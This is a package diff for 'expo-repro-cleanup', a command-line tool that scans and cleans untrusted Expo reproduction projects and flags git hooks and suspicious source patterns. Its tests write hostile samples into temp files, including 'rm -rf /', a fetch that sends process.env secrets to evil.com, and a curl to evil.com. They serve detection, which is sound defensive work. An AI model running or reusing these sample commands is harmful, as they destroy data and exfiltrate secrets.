expo-repro-cleanup 0.0.1

package/cli.ts

@@ -0,0 +1,17 @@
+#!/usr/bin/env bun
+
+import pc from 'picocolors';
+import { runCleanupAsync } from './src/index.js';
+
+async function main() {
+  const projectRoot = process.argv[2] || process.cwd();
+
+  try {
+    await runCleanupAsync(projectRoot);
+  } catch (error) {
+    console.error(pc.red(pc.bold('💥 Fatal error:')), error);
+    process.exit(1);
+  }
+}
+
+main().catch(console.error);

package/package.json

@@ -0,0 +1,43 @@
+{
+  "name": "expo-repro-cleanup",
+  "version": "0.0.1",
+  "description": "Cleanup issue reproducible example for Expo projects",
+  "type": "module",
+  "main": "src/index.ts",
+  "bin": {
+    "expo-repro-cleanup": "./cli.ts"
+  },
+  "files": [
+    "cli.ts",
+    "src"
+  ],
+  "scripts": {
+    "dev": "tsc --watch",
+    "lint": "eslint src",
+    "test": "vitest run -c ./vite.config.ts"
+  },
+  "keywords": [
+    "expo",
+    "cleanup",
+    "repro",
+    "security"
+  ],
+  "author": "Kudo Chien",
+  "license": "MIT",
+  "bugs": {
+    "url": "https://github.com/Kudo/expo-repro-cleanup/issues"
+  },
+  "homepage": "https://github.com/Kudo/expo-repro-cleanup#readme",
+  "devDependencies": {
+    "@types/bun": "^1.2.20",
+    "eslint": "^9.34.0",
+    "eslint-config-universe": "^15.0.3",
+    "prettier": "^3.6.2",
+    "typescript": "^5.9.2",
+    "vitest": "^3.2.4"
+  },
+  "dependencies": {
+    "@inquirer/prompts": "^7.8.3",
+    "picocolors": "^1.1.1"
+  }
+}

package/src/__tests__/processors.test.ts

@@ -0,0 +1,109 @@
+import fs from 'fs';
+import path from 'path';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+import { processTargetAsync } from '../processors.js';
+import type { CleanupTarget } from '../types.js';
+
+// Mock inquirer prompts
+vi.mock('@inquirer/prompts', () => ({
+  select: vi.fn(),
+}));
+
+const testDir = path.join(process.cwd(), 'test-temp-processors');
+
+describe('processTargetAsync', () => {
+  beforeEach(async () => {
+    await fs.promises.mkdir(testDir, { recursive: true });
+    vi.clearAllMocks();
+  });
+
+  afterEach(async () => {
+    await fs.promises.rm(testDir, { recursive: true, force: true });
+  });
+
+  it('should auto-remove files marked for autoRemove', async () => {
+    const testFile = path.join(testDir, 'test-lock.json');
+    await fs.promises.writeFile(testFile, '{}');
+
+    const target: CleanupTarget = {
+      path: testFile,
+      type: 'lockfile',
+      description: 'Test lock file',
+      autoRemove: true,
+    };
+
+    const result = await processTargetAsync(target);
+
+    expect(result).toBe('continue');
+    expect(fs.promises.access(testFile)).rejects.toThrow(); // File should be deleted
+  });
+
+  it('should handle package.json scripts removal', async () => {
+    const packagePath = path.join(testDir, 'package.json');
+    const originalPackage = {
+      name: 'test',
+      version: '1.0.0',
+      scripts: {
+        start: 'node index.js',
+        build: 'webpack',
+        test: 'jest',
+      },
+      dependencies: {
+        react: '^18.0.0',
+      },
+    };
+    await fs.promises.writeFile(packagePath, JSON.stringify(originalPackage, null, 2));
+
+    const target: CleanupTarget = {
+      path: packagePath,
+      type: 'package-scripts',
+      description: 'package.json scripts section',
+      autoRemove: true,
+    };
+
+    await processTargetAsync(target);
+
+    const updatedContent = await fs.promises.readFile(packagePath, 'utf-8');
+    const updatedPackage = JSON.parse(updatedContent);
+
+    expect(updatedPackage.scripts).toBeUndefined();
+    expect(updatedPackage.name).toBe('test');
+    expect(updatedPackage.dependencies.react).toBe('^18.0.0');
+  });
+
+  it('should handle directory removal', async () => {
+    const testVscodeDir = path.join(testDir, '.vscode');
+    await fs.promises.mkdir(testVscodeDir);
+    await fs.promises.writeFile(path.join(testVscodeDir, 'settings.json'), '{}');
+
+    const target: CleanupTarget = {
+      path: testVscodeDir,
+      type: 'config',
+      description: 'VSCode directory',
+      autoRemove: true,
+    };
+
+    await processTargetAsync(target);
+
+    expect(fs.promises.access(testVscodeDir)).rejects.toThrow(); // Directory should be deleted
+  });
+
+  it('should handle file removal errors gracefully', async () => {
+    const consoleSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
+
+    const target: CleanupTarget = {
+      path: '/nonexistent/file.txt',
+      type: 'config',
+      description: 'Nonexistent file',
+      autoRemove: true,
+    };
+
+    const result = await processTargetAsync(target);
+
+    expect(result).toBe('continue');
+    expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('❌ Failed to remove'));
+
+    consoleSpy.mockRestore();
+  });
+});

package/src/__tests__/scanners.test.ts

@@ -0,0 +1,104 @@
+import fs from 'fs';
+import path from 'path';
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+
+import { scanDirectoryAsync } from '../scanners.js';
+
+const testDir = path.join(process.cwd(), 'test-temp');
+
+describe('scanDirectoryAsync', () => {
+  beforeEach(async () => {
+    await fs.promises.mkdir(testDir, { recursive: true });
+  });
+
+  afterEach(async () => {
+    await fs.promises.rm(testDir, { recursive: true, force: true });
+  });
+
+  it('should detect lock files', async () => {
+    await fs.promises.writeFile(path.join(testDir, 'package-lock.json'), '{}');
+    await fs.promises.writeFile(path.join(testDir, 'yarn.lock'), '');
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(2);
+    expect(targets[0].type).toBe('lockfile');
+    expect(targets[0].autoRemove).toBe(true);
+    expect(targets[1].type).toBe('lockfile');
+    expect(targets[1].autoRemove).toBe(true);
+  });
+
+  it('should detect config files', async () => {
+    await fs.promises.writeFile(path.join(testDir, 'eslint.config.js'), 'module.exports = {}');
+    await fs.promises.writeFile(path.join(testDir, '.babelrc'), '{}');
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(2);
+    expect(targets.every((t) => t.type === 'config')).toBe(true);
+    expect(targets.every((t) => !t.autoRemove)).toBe(true);
+  });
+
+  it('should detect app config files', async () => {
+    await fs.promises.writeFile(path.join(testDir, 'app.config.js'), 'export default {}');
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(1);
+    expect(targets[0].type).toBe('app-config');
+    expect(targets[0].description).toContain('app.config.js');
+  });
+
+  it('should detect package.json with scripts', async () => {
+    const pkg = {
+      name: 'test',
+      scripts: {
+        start: 'node index.js',
+        build: 'webpack',
+      },
+    };
+    await fs.promises.writeFile(path.join(testDir, 'package.json'), JSON.stringify(pkg, null, 2));
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(1);
+    expect(targets[0].type).toBe('package-scripts');
+    expect(targets[0].content).toContain('start');
+  });
+
+  it('should detect .vscode directory', async () => {
+    await fs.promises.mkdir(path.join(testDir, '.vscode'));
+    await fs.promises.writeFile(path.join(testDir, '.vscode', 'settings.json'), '{}');
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(1);
+    expect(targets[0].type).toBe('config');
+    expect(targets[0].description).toContain('.vscode');
+    expect(targets[0].autoRemove).toBe(true);
+  });
+
+  it('should detect git hooks', async () => {
+    const gitDir = path.join(testDir, '.git');
+    const hooksDir = path.join(gitDir, 'hooks');
+    await fs.promises.mkdir(hooksDir, { recursive: true });
+    await fs.promises.writeFile(path.join(hooksDir, 'pre-commit'), '#!/bin/sh\necho "test"');
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(1);
+    expect(targets[0].type).toBe('git-hook');
+    expect(targets[0].description).toContain('pre-commit');
+  });
+
+  it('should ignore git hook .sample files', async () => {
+    const gitDir = path.join(testDir, '.git');
+    const hooksDir = path.join(gitDir, 'hooks');
+    await fs.promises.mkdir(hooksDir, { recursive: true });
+    await fs.promises.writeFile(path.join(hooksDir, 'pre-commit.sample'), '#!/bin/sh\necho "test"');
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(0);
+  });
+});

package/src/__tests__/source-patterns.test.ts

@@ -0,0 +1,127 @@
+import fs from 'fs';
+import path from 'path';
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+
+import { scanDirectoryAsync } from '../scanners.js';
+
+const testDir = path.join(process.cwd(), 'test-temp-source');
+
+describe('Source file pattern detection', () => {
+  beforeEach(async () => {
+    await fs.promises.mkdir(testDir, { recursive: true });
+  });
+
+  afterEach(async () => {
+    await fs.promises.rm(testDir, { recursive: true, force: true });
+  });
+
+  it('should detect suspicious child_process patterns', async () => {
+    const maliciousCode = `
+      const { spawn } = require('child_process');
+      spawn('rm', ['-rf', '/']);
+    `;
+    await fs.promises.writeFile(path.join(testDir, 'malicious.js'), maliciousCode);
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(1);
+    expect(targets[0].type).toBe('source-file');
+    expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
+    expect(targets[0].content).toContain('🚨spawn🚨');
+  });
+
+  it('should detect eval patterns', async () => {
+    const maliciousCode = `
+      const userInput = getInput();
+      eval(userInput);
+    `;
+    await fs.promises.writeFile(path.join(testDir, 'eval-risk.ts'), maliciousCode);
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
+    expect(targets[0].content).toContain('🚨eval(🚨');
+  });
+
+  it('should detect network requests', async () => {
+    const suspiciousCode = `
+      fetch('http://evil.com/steal-data', {
+        method: 'POST',
+        body: JSON.stringify(process.env.SECRET)
+      });
+    `;
+    await fs.promises.writeFile(path.join(testDir, 'network.js'), suspiciousCode);
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
+    expect(targets[0].content).toContain('🚨fetch(🚨');
+    expect(targets[0].content).toContain('🚨process.env.🚨');
+  });
+
+  it('should detect file system operations', async () => {
+    const maliciousCode = `
+      import fs from 'fs';
+      fs.unlink('/important/file.txt');
+      fs.rm('/etc/passwd', { recursive: true });
+    `;
+    await fs.promises.writeFile(path.join(testDir, 'fs-ops.ts'), maliciousCode);
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
+    expect(targets[0].content).toContain('🚨fs.unlink🚨');
+    expect(targets[0].content).toContain('🚨fs.rm🚨');
+  });
+
+  it('should detect clean source files without false positives', async () => {
+    const cleanCode = `import React from 'react';
+
+export function HelloWorld() {
+  return <div>Hello World</div>;
+}`;
+    await fs.promises.writeFile(path.join(testDir, 'clean.js'), cleanCode);
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets).toHaveLength(1);
+    expect(targets[0].type).toBe('source-file');
+    expect(targets[0].description).not.toContain('SUSPICIOUS PATTERNS DETECTED');
+    expect(targets[0].content).not.toContain('🚨');
+  });
+
+  it('should truncate long files', async () => {
+    const longCode = 'console.log("test");\n'.repeat(100);
+    await fs.promises.writeFile(path.join(testDir, 'long.js'), longCode);
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets[0].content?.endsWith('...')).toBe(true);
+    expect(targets[0].content?.length).toBeLessThan(longCode.length);
+  });
+
+  it('should detect multiple suspicious patterns', async () => {
+    const multiThreatCode = `
+      const { exec } = require('child_process');
+      const crypto = require('crypto');
+
+      exec('curl http://evil.com');
+      eval(Buffer.from('base64string', 'base64').toString());
+      fetch('http://malicious.site', {
+        method: 'POST',
+        body: process.env.SECRET_KEY
+      });
+    `;
+    await fs.promises.writeFile(path.join(testDir, 'multi-threat.js'), multiThreatCode);
+
+    const targets = await scanDirectoryAsync(testDir);
+
+    expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
+    expect(targets[0].content).toContain('🚨exec🚨');
+    expect(targets[0].content).toContain("🚨require('child_process')🚨");
+    expect(targets[0].content).toContain('🚨eval(🚨');
+    expect(targets[0].content).toContain('🚨fetch(🚨');
+    expect(targets[0].content).toContain('🚨Buffer.from');
+    expect(targets[0].content).toContain('🚨process.env.🚨');
+  });
+});

package/src/index.ts

@@ -0,0 +1,36 @@
+import path from 'path';
+import pc from 'picocolors';
+
+import { checkAndMaybeRunPrebuildAsync } from './prebuild.js';
+import { processTargetAsync } from './processors.js';
+import { scanDirectoryAsync } from './scanners.js';
+
+export async function runCleanupAsync(projectRoot: string = process.cwd()): Promise<void> {
+  const resolvedDir = path.resolve(projectRoot);
+
+  console.log(pc.blue(pc.bold('🧹 Expo Repro Cleanup')));
+  console.log(pc.gray(`Scanning directory: ${resolvedDir}`));
+  console.log();
+
+  const cleanupTargets = await scanDirectoryAsync(resolvedDir);
+
+  if (cleanupTargets.length === 0) {
+    console.log(pc.green('✅ No cleanup needed - directory is already clean!'));
+    return;
+  }
+
+  console.log(pc.yellow(`Found ${cleanupTargets.length} items that can be cleaned up:`));
+  console.log();
+
+  for (const target of cleanupTargets) {
+    const result = await processTargetAsync(target);
+    if (result === 'skip') {
+      break;
+    }
+  }
+
+  console.log();
+  console.log(pc.green(pc.bold('🎉 Cleanup completed!')));
+
+  await checkAndMaybeRunPrebuildAsync(resolvedDir);
+}

package/src/prebuild.ts

@@ -0,0 +1,70 @@
+import { select } from '@inquirer/prompts';
+import fs from 'fs';
+import path from 'path';
+import pc from 'picocolors';
+
+export async function checkAndMaybeRunPrebuildAsync(projectRoot: string): Promise<void> {
+  try {
+    const iosDir = path.join(projectRoot, 'ios');
+    const androidDir = path.join(projectRoot, 'android');
+
+    const [iosExists, androidExists] = await Promise.all([
+      fs.promises
+        .access(iosDir)
+        .then(() => true)
+        .catch(() => false),
+      fs.promises
+        .access(androidDir)
+        .then(() => true)
+        .catch(() => false),
+    ]);
+
+    if (iosExists || androidExists) {
+      console.log(pc.blue(pc.bold('\n📱 Bare Project Detected')));
+      console.log(pc.yellow('Found ios/ and/or android/ directories.'));
+      console.log(
+        pc.yellow('This is a bare project. Running clean prebuild will regenerate native code.')
+      );
+      console.log(pc.yellow('You can review changes with `git diff` after prebuild completes.'));
+
+      const shouldPrebuild = await select({
+        message:
+          'Run `bash -c "yes | npx expo prebuild --clean"` to regenerate native directories?',
+        choices: [
+          { name: 'Yes, run prebuild --clean', value: 'yes' },
+          { name: 'No, skip prebuild', value: 'no' },
+        ],
+      });
+
+      if (shouldPrebuild === 'yes') {
+        await runPrebuildAsync(projectRoot);
+      } else {
+        console.log(pc.yellow('Skipped prebuild.'));
+      }
+    }
+  } catch (error) {
+    console.warn(pc.yellow(`Warning: Could not check for bare project: ${error}`));
+  }
+}
+
+async function runPrebuildAsync(projectRoot: string): Promise<void> {
+  console.log(pc.blue('\n🔄 Running expo prebuild --clean...'));
+
+  try {
+    const proc = Bun.spawn(['bash', '-c', 'yes | npx expo prebuild --clean'], {
+      cwd: projectRoot,
+      stdout: 'inherit',
+      stderr: 'inherit',
+    });
+
+    const exitCode = await proc.exited;
+
+    if (exitCode === 0) {
+      console.log(pc.green('\n✅ Prebuild completed successfully!'));
+    } else {
+      console.error(pc.red(`\n❌ Prebuild failed with exit code ${exitCode}`));
+    }
+  } catch (error) {
+    console.error(pc.red(`\n❌ Prebuild failed: ${error}`));
+  }
+}

package/src/processors.ts

@@ -0,0 +1,95 @@
+import { select } from '@inquirer/prompts';
+import fs from 'fs';
+import pc from 'picocolors';
+
+import type { CleanupTarget } from './types.js';
+
+export async function processTargetAsync(target: CleanupTarget): Promise<'continue' | 'skip'> {
+  if (target.autoRemove) {
+    await performCleanupAsync(target);
+    return 'continue';
+  }
+
+  console.log(pc.cyan(pc.bold(`\n📋 ${target.description}`)));
+  console.log(pc.gray(`Path: ${target.path}`));
+
+  if (target.content) {
+    console.log(pc.gray('\nContent preview:'));
+    console.log(pc.white(target.content));
+  }
+
+  showWarnings(target);
+
+  const action = await select({
+    message: 'What would you like to do?',
+    choices: [
+      { name: 'Keep this file/section', value: 'keep' },
+      { name: 'Remove this file/section', value: 'remove' },
+      { name: 'Skip remaining files', value: 'skip' },
+    ],
+  });
+
+  if (action === 'skip') {
+    console.log(pc.yellow('Skipping remaining cleanup tasks.'));
+    return 'skip';
+  }
+
+  if (action === 'remove') {
+    await performCleanupAsync(target);
+  } else {
+    console.log(pc.green(`✅ Kept: ${target.description}`));
+  }
+
+  return 'continue';
+}
+
+function showWarnings(target: CleanupTarget): void {
+  if (target.type === 'app-config') {
+    console.log(pc.red(pc.bold('\n⚠️  APP CONFIG DETECTED')));
+    console.log(pc.yellow('This file may contain sensitive configuration.'));
+    console.log(pc.yellow('Please review the content above carefully.'));
+  }
+
+  if (target.type === 'git-hook') {
+    console.log(pc.red(pc.bold('\n🚨 GIT HOOK DETECTED - HIGH SECURITY RISK')));
+    console.log(pc.yellow('Git hooks are executable scripts that run during git operations.'));
+    console.log(pc.yellow('Malicious hooks can execute arbitrary code on your system.'));
+    console.log(pc.red('⚠️  STRONGLY RECOMMEND REMOVAL unless you trust the source.'));
+  }
+
+  if (target.type === 'source-file') {
+    console.log(pc.yellow(pc.bold('\n📄 SOURCE FILE DETECTED')));
+    if (target.description.includes('SUSPICIOUS PATTERNS DETECTED')) {
+      console.log(pc.red('🚨 SUSPICIOUS PATTERNS FOUND - Review carefully!'));
+      console.log(pc.yellow('Look for patterns marked with 🚨 in the content below.'));
+    }
+    console.log(pc.yellow('Review for malicious code, debugging statements, or secrets.'));
+  }
+}
+
+async function performCleanupAsync(target: CleanupTarget): Promise<void> {
+  try {
+    if (target.type === 'package-scripts') {
+      await cleanupPackageScriptsAsync(target.path);
+    } else {
+      const stats = await fs.promises.stat(target.path);
+      if (stats.isDirectory()) {
+        await fs.promises.rm(target.path, { recursive: true, force: true });
+      } else {
+        await fs.promises.unlink(target.path);
+      }
+    }
+    console.log(pc.green(`✅ Removed: ${target.description}`));
+  } catch (error) {
+    console.error(pc.red(`❌ Failed to remove ${target.description}: ${error}`));
+  }
+}
+
+async function cleanupPackageScriptsAsync(packagePath: string): Promise<void> {
+  const content = await fs.promises.readFile(packagePath, 'utf-8');
+  const pkg = JSON.parse(content);
+
+  delete pkg.scripts;
+
+  await fs.promises.writeFile(packagePath, JSON.stringify(pkg, null, 2) + '\n');
+}

package/src/scanners.ts

@@ -0,0 +1,188 @@
+import fs from 'fs';
+import path from 'path';
+import pc from 'picocolors';
+
+import type { CleanupTarget } from './types.js';
+
+export async function scanDirectoryAsync(projectRoot: string): Promise<CleanupTarget[]> {
+  const cleanupTargets: CleanupTarget[] = [];
+
+  try {
+    const files = await fs.promises.readdir(projectRoot);
+
+    for (const file of files) {
+      const filePath = path.join(projectRoot, file);
+      const stats = await fs.promises.stat(filePath);
+
+      if (stats.isFile()) {
+        const target = await analyzeFileAsync(file, filePath);
+        if (target) {
+          cleanupTargets.push(target);
+        }
+      } else if (stats.isDirectory() && file === '.git') {
+        const gitTargets = await scanGitDirectoryAsync(filePath);
+        cleanupTargets.push(...gitTargets);
+      } else if (stats.isDirectory() && file === '.vscode') {
+        cleanupTargets.push({
+          path: filePath,
+          type: 'config',
+          description: 'VSCode settings directory (.vscode)',
+          content: 'Contains IDE-specific settings and configurations',
+          autoRemove: true,
+        });
+      }
+    }
+  } catch (error) {
+    console.error(pc.red(`Error scanning directory: ${error}`));
+    process.exit(1);
+  }
+
+  return cleanupTargets;
+}
+
+async function scanGitDirectoryAsync(gitDir: string): Promise<CleanupTarget[]> {
+  const gitTargets: CleanupTarget[] = [];
+
+  try {
+    const hooksDir = path.join(gitDir, 'hooks');
+    try {
+      const hookFiles = await fs.promises.readdir(hooksDir);
+
+      for (const hookFile of hookFiles) {
+        if (hookFile.endsWith('.sample')) continue;
+
+        const hookPath = path.join(hooksDir, hookFile);
+        const stats = await fs.promises.stat(hookPath);
+
+        if (stats.isFile()) {
+          const content = await fs.promises.readFile(hookPath, 'utf-8');
+          gitTargets.push({
+            path: hookPath,
+            type: 'git-hook',
+            description: `Git hook: ${hookFile}`,
+            content: content.length > 500 ? content.substring(0, 500) + '...' : content,
+          });
+        }
+      }
+    } catch {
+      // Hooks directory doesn't exist or can't be read
+    }
+  } catch (error) {
+    console.warn(pc.yellow(`Warning: Could not scan .git directory: ${error}`));
+  }
+
+  return gitTargets;
+}
+
+async function analyzeFileAsync(filename: string, filePath: string): Promise<CleanupTarget | null> {
+  const lockFiles = ['package-lock.json', 'yarn.lock', 'pnpm-lock.yaml', 'bun.lock', 'bun.lockb'];
+
+  if (lockFiles.includes(filename)) {
+    return {
+      path: filePath,
+      type: 'lockfile',
+      description: `Lock file: ${filename}`,
+      autoRemove: true,
+    };
+  }
+
+  const configFiles = [
+    'eslint.config.js',
+    '.eslintrc.js',
+    'metro.config.js',
+    'babel.config.js',
+    '.babelrc',
+    'tsconfig.json',
+  ];
+
+  if (configFiles.includes(filename)) {
+    const content = await fs.promises.readFile(filePath, 'utf-8');
+    return {
+      path: filePath,
+      type: 'config',
+      description: `Config file: ${filename}`,
+      content: content.length > 500 ? content.substring(0, 500) + '...' : content,
+    };
+  }
+
+  if (filename === 'app.config.js' || filename === 'app.config.ts') {
+    const content = await fs.promises.readFile(filePath, 'utf-8');
+    return {
+      path: filePath,
+      type: 'app-config',
+      description: `App config: ${filename}`,
+      content,
+    };
+  }
+
+  if (filename === 'package.json') {
+    const content = await fs.promises.readFile(filePath, 'utf-8');
+    try {
+      const pkg = JSON.parse(content);
+      if (pkg.scripts && Object.keys(pkg.scripts).length > 0) {
+        return {
+          path: filePath,
+          type: 'package-scripts',
+          description: 'package.json scripts section',
+          content: JSON.stringify(pkg.scripts, null, 2),
+        };
+      }
+    } catch (error) {
+      console.warn(pc.yellow(`Warning: Could not parse package.json: ${error}`));
+    }
+  }
+
+  if (filename.endsWith('.ts') || filename.endsWith('.js')) {
+    return await analyzeSourceFileAsync(filename, filePath);
+  }
+
+  return null;
+}
+
+async function analyzeSourceFileAsync(filename: string, filePath: string): Promise<CleanupTarget> {
+  const content = await fs.promises.readFile(filePath, 'utf-8');
+
+  const suspiciousPatterns = [
+    /require\s*\(\s*['"`]child_process['"`]\s*\)/gi,
+    /import.*child_process/gi,
+    /spawn|exec|fork/gi,
+    /eval\s*\(/gi,
+    /Function\s*\(/gi,
+    /process\.exit/gi,
+    /fs\.unlink|fs\.rm|fs\.rmdir/gi,
+    /\.deleteFile|\.delete/gi,
+    /system\s*\(/gi,
+    /shell\s*\(/gi,
+    /\.env\s*\[/gi,
+    /process\.env\./gi,
+    /Buffer\.from.*base64/gi,
+    /atob|btoa/gi,
+    /crypto\./gi,
+    /net\.|http\.|https\./gi,
+    /fetch\s*\(/gi,
+    /XMLHttpRequest/gi,
+    /WebSocket/gi,
+    /require.*\.\./gi,
+  ];
+
+  const foundPatterns = suspiciousPatterns.filter((pattern) => pattern.test(content));
+
+  let displayContent = content.length > 1000 ? content.substring(0, 1000) + '...' : content;
+
+  if (foundPatterns.length > 0) {
+    suspiciousPatterns.forEach((pattern) => {
+      displayContent = displayContent.replace(pattern, (match) => {
+        return `🚨${match}🚨`;
+      });
+    });
+  }
+
+  return {
+    path: filePath,
+    type: 'source-file',
+    description: `Source file: ${filename}${
+      foundPatterns.length > 0 ? ' (⚠️ SUSPICIOUS PATTERNS DETECTED)' : ''
+    }`,
+    content: displayContent,
+  };
+}

package/src/types.ts

@@ -0,0 +1,14 @@
+export interface CleanupTarget {
+  path: string;
+  type:
+    | 'file'
+    | 'lockfile'
+    | 'config'
+    | 'package-scripts'
+    | 'app-config'
+    | 'git-hook'
+    | 'source-file';
+  description: string;
+  content?: string;
+  autoRemove?: boolean;
+}